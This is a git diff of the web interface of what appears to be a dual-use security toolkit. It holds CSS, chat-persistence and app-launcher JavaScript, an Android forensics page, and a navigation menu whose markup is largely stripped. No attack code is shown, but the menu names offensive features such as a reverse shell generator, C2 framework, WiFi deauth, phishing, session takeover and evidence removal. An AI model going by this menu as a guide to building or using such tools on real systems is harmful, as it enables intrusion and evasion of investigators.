background: linear-gradient(135deg, rgba(61,240,192,.05), transparent); + padding: 12px; margin-top: 14px; + font-size: 11.5px; line-height: 1.6; +} +.insight .ih { + color: var(--phos); font-size: 9.5px; letter-spacing: .12em; + text-transform: uppercase; margin-bottom: 7px; + display: flex; align-items: center; gap: 7px; +} +.insight b { color: var(--phos); } + +.inc { + border: 1px solid var(--line2); background: var(--panel2); + padding: 10px 12px; margin-bottom: 8px; cursor: pointer; transition: .12s; +} +.inc:hover { border-color: var(--line); } +.inc.open { border-color: var(--line); background: rgba(61,240,192,.04); } +.inc .top { display: flex; align-items: center; gap: 10px; } +.inc .id { font-size: 11.5px; color: var(--text); } +.inc .id b { color: #fff; } +.inc .age { margin-left: auto; font-size: 10px; color: var(--dimmer); } +.inc .body { + display: none; margin-top: 9px; + font-size: 11px; color: var(--dim); line-height: 1.7; +} +.inc.open .body { display: block; } +.rec { + border-left: 2px solid var(--phos); padding-left: 9px; margin-top: 8px; + color: var(--text); +} + +.sev { + font-size: 9px; letter-spacing: .06em; text-transform: uppercase; + padding: 2px 7px; border: 1px solid; flex-shrink: 0; +} +.sev.crit { color: var(--red); border-color: rgba(255,77,87,.4); background: rgba(255,77,87,.07); } +.sev.high { color: var(--amber); border-color: rgba(255,177,61,.4); } +.sev.med { color: var(--blue); border-color: rgba(82,182,255,.4); } +.sev.low { color: var(--dim); border-color: var(--line2); } + +.term { + font-family: var(--font-mono); font-size: 11.5px; line-height: 1.7; + color: var(--phos); white-space: pre-wrap; +} +.term .pl { color: var(--mag); } +.term .d { color: var(--dim); } +.term .w { color: var(--amber); } + +.chat { display: flex; flex-direction: column; height: 100%; } +.stream { flex: 1; overflow: auto; display: flex; flex-direction: column; gap: 14px; padding-right: 4px; } +.mrow { display: flex; gap: 10px; max-width: 90%; } +.mrow.me { align-self: flex-end; flex-direction: row-reverse; } +.av { + width: 26px; height: 26px; border: 1px solid var(--line); + display: grid; place-items: center; flex-shrink: 0; + font-size: 10px; color: var(--phos); font-family: var(--font-disp); +} +.mrow.me .av { color: var(--mag); border-color: rgba(255,61,129,.4); } +.bub { font-size: 11.5px; line-height: 1.65; } +.mrow.me .bub { color: var(--dim); text-align: right; } +.bub b { color: var(--phos); } +.codeblk { + background: var(--bg); border-left: 2px solid var(--phos); + padding: 8px 10px; font-size: 10.5px; color: var(--phos); + margin: 7px 0; white-space: pre-wrap; font-family: var(--font-mono); +} +.composer { display: flex; gap: 8px; margin-top: 12px; flex-shrink: 0; } +.field { + flex: 1; display: flex; align-items: center; gap: 7px; + border: 1px solid var(--line); padding: 8px 10px; background: var(--bg); +} +.field span { color: var(--phos); } +.field input { + flex: 1; background: none; border: none; color: var(--text); + font-family: inherit; font-size: 11.5px; outline: none; +} +.send { + border: 1px solid var(--line); background: rgba(61,240,192,.06); + color: var(--phos); padding: 0 14px; + font-family: inherit; font-size: 10px; letter-spacing: .08em; + text-transform: uppercase; cursor: pointer; +} +.send:hover { box-shadow: var(--glow); } + +/* ── Legacy class refinements (existing templates) ────────────── */ + +.page-header { + margin-bottom: 18px; padding-bottom: 10px; + border-bottom: 1px solid var(--line2); +} +.page-header h1 { + font-family: var(--font-disp); font-weight: 700; + color: var(--phos); letter-spacing: .04em; + font-size: 22px; +} +.page-header .subtitle { color: var(--dim); font-size: 11.5px; margin-top: 4px; } + +.section { + margin-top: 22px; padding-top: 14px; + border-top: 1px solid var(--line2); +} +.section h2 { + font-family: var(--font-disp); font-weight: 600; font-size: 13px; + color: var(--text); letter-spacing: .1em; text-transform: uppercase; + margin-bottom: 10px; +} + +.stats-grid { + display: grid; grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); + gap: 10px; margin-bottom: 16px; +} +.stat-card { + border: 1px solid var(--line2); background: var(--panel2); + padding: 12px; +} +.stat-label { font-size: 9px; letter-spacing: .16em; text-transform: uppercase; color: var(--dim); } +.stat-value { font-family: var(--font-disp); font-weight: 700; font-size: 22px; color: #fff; margin-top: 4px; } +.stat-value.small { font-size: 13px; color: var(--text); } + +.category-grid { + display: grid; grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); + gap: 10px; +} +.category-card { + border: 1px solid var(--line2); background: var(--panel2); + padding: 14px; text-decoration: none; color: var(--text); + display: flex; flex-direction: column; gap: 4px; transition: .12s; + position: relative; overflow: hidden; +} +.category-card:hover { border-color: var(--line); background: rgba(61,240,192,.04); } +.category-card h3 { + font-family: var(--font-disp); font-weight: 700; font-size: 14px; + color: var(--phos); letter-spacing: .04em; +} +.category-card p { color: var(--dim); font-size: 11px; } +.category-card .badge { + align-self: flex-start; margin-top: 6px; + font-size: 9px; letter-spacing: .12em; text-transform: uppercase; + color: var(--dim); border: 1px solid var(--line2); padding: 2px 6px; +} +.category-card.cat-defense h3 { color: var(--blue); } +.category-card.cat-offense h3 { color: var(--red); } +.category-card.cat-counter h3 { color: var(--mag); } +.category-card.cat-analyze h3 { color: var(--phos); } +.category-card.cat-osint h3 { color: #76e0b4; } +.category-card.cat-simulate h3 { color: var(--amber); } +.category-card.cat-hardware h3 { color: #ffa05a; } + +.data-table { + width: 100%; border-collapse: collapse; + font-size: 11.5px; +} +.data-table th, .data-table td { + padding: 8px 10px; text-align: left; + border-bottom: 1px solid var(--line2); +} +.data-table th { + font-family: var(--font-disp); font-weight: 600; font-size: 10.5px; + letter-spacing: .12em; text-transform: uppercase; color: var(--dim); +} +.data-table tr:hover td { background: rgba(61,240,192,.025); } + +.status-dot { + display: inline-block; width: 7px; height: 7px; border-radius: 50%; + background: var(--dim); margin-right: 7px; vertical-align: middle; +} +.status-dot.active { background: var(--phos); box-shadow: var(--glow); } + +.btn { + background: var(--panel2); color: var(--text); + border: 1px solid var(--line2); padding: 7px 14px; + font-family: var(--font-mono); font-size: 11px; + cursor: pointer; transition: .12s; +} +.btn:hover { border-color: var(--line); color: var(--phos); } +.btn-sm, .btn-small { padding: 4px 10px; font-size: 10px; } +.btn-primary { background: rgba(61,240,192,.08); border-color: var(--line); color: var(--phos); } +.btn-primary:hover { box-shadow: var(--glow); } +.btn-danger { color: var(--red); border-color: rgba(255,77,87,.35); } +.btn-danger:hover { box-shadow: 0 0 12px rgba(255,77,87,.25); } + +/* ── Login wrapper ─────────────────────────────────────────────── */ + +.login-wrapper { + position: relative; z-index: 1; + display: flex; align-items: center; justify-content: center; + min-height: 100vh; padding: 20px; +} diff --git a/web/static/js/app.js b/web/static/js/app.js index 795fb0f..dcfa9a9 100644 --- a/web/static/js/app.js +++ b/web/static/js/app.js @@ -2161,6 +2161,8 @@ function halToggle() { if (!p) return; var visible = p.style.display !== 'none'; p.style.display = visible ? 'none' : 'flex'; + // Remember open/closed state across page navigation + sessionStorage.setItem('hal_panel_open', visible ? 'false' : 'true'); if (!visible) { var inp = document.getElementById('hal-input'); if (inp) inp.focus(); @@ -2279,6 +2281,7 @@ function halAppendStyled(type, text) { } msgs.appendChild(div); halScroll(); + _halSaveMessages(); } function halAppend(role, text) { @@ -2289,6 +2292,8 @@ function halAppend(role, text) { div.textContent = text; msgs.appendChild(div); halScroll(); + // Persist to sessionStorage so messages survive page navigation + _halSaveMessages(); return div; } @@ -2300,9 +2305,60 @@ function halScroll() { function halClear() { var m = document.getElementById('hal-messages'); if (m) m.innerHTML = ''; + sessionStorage.removeItem('hal_messages'); + sessionStorage.removeItem('hal_panel_open'); fetch('/api/chat/reset', {method: 'POST'}).catch(function() {}); } +// Persist chat messages across page navigation +function _halSaveMessages() { + var msgs = document.getElementById('hal-messages'); + if (!msgs) return; + var items = []; + msgs.querySelectorAll('.hal-msg').forEach(function(el) { + var role = 'hal'; + if (el.classList.contains('hal-msg-user')) role = 'user'; + else if (el.classList.contains('hal-msg-status')) role = 'status'; + else if (el.classList.contains('hal-msg-action')) role = 'action'; + else if (el.classList.contains('hal-msg-error')) role = 'error'; + items.push({role: role, text: el.textContent}); + }); + // Keep last 100 messages to avoid storage bloat + if (items.length > 100) items = items.slice(-100); + try { sessionStorage.setItem('hal_messages', JSON.stringify(items)); } catch(e) {} +} + +function _halRestoreMessages() { + var msgs = document.getElementById('hal-messages'); + if (!msgs) return; + try { + var saved = sessionStorage.getItem('hal_messages'); + if (!saved) return; + var items = JSON.parse(saved); + items.forEach(function(item) { + var div = document.createElement('div'); + if (item.role === 'user' || item.role === 'hal') { + div.className = 'hal-msg hal-msg-' + item.role; + div.textContent = item.text; + } else { + div.className = 'hal-msg hal-msg-' + item.role; + div.textContent = item.text; + } + msgs.appendChild(div); + }); + halScroll(); + } catch(e) {} + + // Restore panel visibility + if (sessionStorage.getItem('hal_panel_open') === 'true') { + var p = document.getElementById('hal-panel'); + if (p) p.style.display = 'flex'; + } +} + +// Restore on page load +document.addEventListener('DOMContentLoaded', _halRestoreMessages); + // ── HAL Auto-Analyst ────────────────────────────────────────────────────────── // Call halAnalyze() after any tool displays results. HAL will analyze the output // via the loaded LLM and open the chat panel with findings. diff --git a/web/static/js/autarchos.js b/web/static/js/autarchos.js new file mode 100644 index 0000000..fb2361a --- /dev/null +++ b/web/static/js/autarchos.js @@ -0,0 +1,120 @@ +/* AutarchOS — desktop chrome client-side wiring. + * + * Owns: live clock, dock state highlight for current blueprint, apps launcher + * modal (filterable list of every blueprint), keyboard shortcuts. + */ +(function () { + 'use strict'; + + // ── Clock ──────────────────────────────────────────────────────── + function tickClock() { + var el = document.getElementById('aos-clock'); + if (!el) return; + el.textContent = new Date().toTimeString().slice(0, 8); + } + setInterval(tickClock, 1000); + tickClock(); + + // ── Mark dock app for current blueprint ───────────────────────── + function markActiveDockApp() { + var bp = document.body.getAttribute('data-blueprint') || ''; + document.querySelectorAll('.aos-dock .app').forEach(function (a) { + var slug = a.getAttribute('data-app') || ''; + a.classList.toggle('active', slug && slug === bp); + }); + } + markActiveDockApp(); + + // ── Apps launcher modal ───────────────────────────────────────── + var backdrop = document.getElementById('aos-launcher'); + var searchInput = document.getElementById('aos-launcher-search'); + + function openLauncher() { + if (!backdrop) return; + backdrop.classList.add('open'); + if (searchInput) { + searchInput.value = ''; + searchInput.focus(); + filterApps(''); + } + } + + function closeLauncher() { + if (!backdrop) return; + backdrop.classList.remove('open'); + } + + function filterApps(query) { + var q = (query || '').trim().toLowerCase(); + document.querySelectorAll('.aos-launcher .app-card').forEach(function (card) { + var hay = (card.textContent || '').toLowerCase(); + card.style.display = (!q || hay.indexOf(q) !== -1) ? '' : 'none'; + }); + document.querySelectorAll('.aos-launcher .group').forEach(function (g) { + var visible = g.querySelectorAll('.app-card:not([style*="display: none"])').length; + g.style.display = visible ? '' : 'none'; + }); + } + + document.querySelectorAll('[data-aos-action="open-launcher"]').forEach(function (el) { + el.addEventListener('click', function (e) { + e.preventDefault(); + openLauncher(); + }); + }); + + if (backdrop) { + backdrop.addEventListener('click', function (e) { + if (e.target === backdrop) closeLauncher(); + }); + } + if (searchInput) { + searchInput.addEventListener('input', function () { filterApps(this.value); }); + searchInput.addEventListener('keydown', function (e) { + if (e.key === 'Escape') closeLauncher(); + if (e.key === 'Enter') { + var first = document.querySelector( + '.aos-launcher .app-card:not([style*="display: none"])' + ); + if (first && first.href) window.location.href = first.href; + } + }); + } + + // Global shortcuts + document.addEventListener('keydown', function (e) { + if (e.key === 'Escape' && backdrop && backdrop.classList.contains('open')) { + closeLauncher(); + } + // Super/Ctrl+Space → open launcher + if ((e.ctrlKey || e.metaKey) && e.code === 'Space') { + e.preventDefault(); + if (backdrop && backdrop.classList.contains('open')) { + closeLauncher(); + } else { + openLauncher(); + } + } + }); + + // ── Sparkline helper (used by dashboard widgets) ──────────────── + window.aosRenderSpark = function (el, count, hotIndices) { + if (!el) return; + el.innerHTML = ''; + var hot = new Set(hotIndices || []); + for (var i = 0; i < count; i++) { + var b = document.createElement('i'); + b.style.height = (16 + Math.abs(Math.sin(i * 0.55)) * 60 + Math.random() * 18) + '%'; + if (hot.has(i)) { + b.classList.add('hot'); + b.style.height = '92%'; + } + el.appendChild(b); + } + }; + + // ── Expandable incidents (dashboard / triage views) ───────────── + document.querySelectorAll('.inc').forEach(function (i) { + i.addEventListener('click', function () { i.classList.toggle('open'); }); + }); +})(); diff --git a/web/templates/android_forensics.html b/web/templates/android_forensics.html new file mode 100644 index 0000000..6539a93 --- /dev/null +++ b/web/templates/android_forensics.html @@ -0,0 +1,864 @@ +{% extends "base.html" %} +{% block title %}Android Forensics — AUTARCH{% endblock %} + +{% block content %} +
+

Autarch Android Forensics

+

Forensic acquisition and IOC scanning for Android devices

+
+ + +
+ ADB Mode: + + + + + +
+ + +
+ + + + + pkgs: -- + domains: -- + certs: -- +
+ + + + + +
+ + + + + + +
+ + +
+
+

Acquisition Modules

+
+ + + + + + + + + + + +
+ + +
+ +
+ + +
+
+

IOC Scanning

+ +
+ + Threshold: + + 65% +
+
+ + + + + + +
+ +
+ +
+ + +
+
+

Past Acquisitions

+ +
+ + +
+ + +
+
+

IOC Database

+
+ + +
+
+ +
+ + +
+
+

AI Threat Analysis

+
+ Backend: + + + +
+
+ Focus: + + + + +
+
+ +
+ + +
+ + +
+ +
+

CVE Lookup

+
+ + + +
+ + +
+ + +
+ +
+

CVE Database Stats

+ + +
+
+ + +
+
+

Runtime Alerts

+
+ + + +
+
+ + + + + +
+ + + + +{% endblock %} diff --git a/web/templates/base.html b/web/templates/base.html index fe70e20..d2a86e3 100644 --- a/web/templates/base.html +++ b/web/templates/base.html @@ -4,225 +4,300 @@ {% block title %}AUTARCH{% endblock %} - - + + + + {% block extra_head %}{% endblock %} - - {% if session.get('user') %} -
- -
- {% with messages = get_flashed_messages(with_categories=true) %} - {% if messages %} -
- {% for category, message in messages %} -
{{ message }}
- {% endfor %} + +
+
Defense
+
+ ▤DefenseHardening & audits + └Linux AuditSystem hardening + └Windows AuditSystem hardening + ⊙Threat MonitorLive detection + ◬Threat IntelIoC lookups + ▥Log CorrelatorSIEM-style + ▣Container SecDocker / Podman + ✉Email SecSPF / DKIM / DMARC +
- {% endif %} - {% endwith %} - {% block content %}{% endblock %} -
+ +
+
Offense
+
+ ⚔OffensePentesting tools + ⌗MSF ConsoleMetasploit + ⌬Exploit DevWorkshop + ◯Vuln ScannerCVE scanner + ◍Web ScannerWebApp audit + ⚐C2 FrameworkCommand & control + ≋API FuzzerAPI testing + ☁Cloud ScanAWS / Azure / GCP + ⛒AD AuditActive Directory + ◑Hack HijackSession takeover + ⌖PhishmailPhishing simulation + ⛁Social EngSET toolkit + ⏚Load TestStress testing + ⚷Password ToolkitHashes & cracking + ⌥Reverse ShellMulti-language gen +
+
+ +
+
Counter / Analyze
+
+ ⌗CounterThreat hunting + ⌕AnalyzeForensics & hex + ⌖Hash ToolkitHash ID & crack + ⌬ForensicsFile analysis + ⌧Anti-ForensicsEvidence removal + ⌗SteganographyHidden data + ⌘Malware SandboxBehavior analysis + ↺Reverse EngDisassembly + ◫Android ForensicsAcquisition & IOC +
+
+ +
+
OSINT & Simulate
+
+ ⌥OSINT25,475 indexed sites + ⊜IP CaptureHoney-link + ⌕SimulateAttack simulation + ⋄Legendary CreatorProfile builder +
+
+ +
+
Network
+
+ ▦Network Security8-tab suite + ⌬Net MapperTopology + ◯WiresharkPacket capture + ≋WiFi AuditWireless scan + ⌅DeauthWiFi disruption + ⌖PineappleEvil twin + ⌗MITM ProxyIntercept + ◉Remote MonitorPIAP devices +
+
+ +
+
Hardware & Mobile
+
+ ⌘HardwareADB / Fastboot / ESP32 + ▤Android ExploitRecon & payload + ⛨Android ShieldAnti-stalkerware + ▢iPhone ExploitiOS research + ✉SMS ForgeSMS / RCS + ✉RCS ToolsRich messaging + ⌬BLE ScannerBluetooth LE + ⊜RFID / NFCProximity tools + ≋SDR ToolsSoftware-defined radio + ⌬StarlinkSatellite research + ΛArchonCompanion app +
+
+ +
+
System
+
+ ⚙SettingsSystem config + ⌗LLM ConfigBackend & models + ⌘MCP ServerClaude / MCP + ⊞DependenciesSystem tools + ⌬SSH / SSHDKey management + ⌃UPnPPort forwarding + ⌕WireGuardVPN tunnels + ⌬DNS ServerLocal resolver + ⌗ReportsOutput engine + ＋Module CreatorBuild modules + ⌗Enc ModulesEncrypted modules + ⌬LLM TrainerFine-tuning + ⌘User ManualDocs +
+
+
- {% else %} +{% else %} - {% endif %} - - - - - +{% endif %} - - {% if session.get('user') %} -